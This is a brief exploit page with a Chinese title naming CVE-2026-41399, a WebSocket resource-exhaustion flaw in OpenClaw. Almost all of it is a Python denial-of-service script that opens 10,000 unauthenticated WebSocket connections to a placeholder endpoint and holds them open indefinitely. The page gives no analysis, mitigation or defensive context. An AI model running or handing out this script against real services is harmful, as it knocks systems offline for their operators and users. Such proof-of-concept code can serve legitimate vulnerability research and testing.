CVE-2026-41399 OpenClaw WebSocket资源耗尽漏洞

import asyncio import websockets async def attack(target_url, num_connections): # Create multiple concurrent WebSocket connections to exhaust resources tasks = [] for _ in range(num_connections): try: # Attempt to establish a WebSocket connection without authentication ws = await websockets.connect(target_url) tasks.append(ws) print(f"Connection established: {target_url}") except Exception as e: print(f"Connection failed: {e}") # Keep connections open to maintain resource exhaustion if tasks: await asyncio.Future() # Run forever if __name__ == "__main__": # Target OpenClaw WebSocket endpoint TARGET = "ws://target-openclaw-instance:8080/ws" # Large number of connections to trigger the vulnerability CONNECTIONS = 10000 print(f"Starting DoS attack against {TARGET} with {CONNECTIONS} connections...") asyncio.run(attack(TARGET, CONNECTIONS))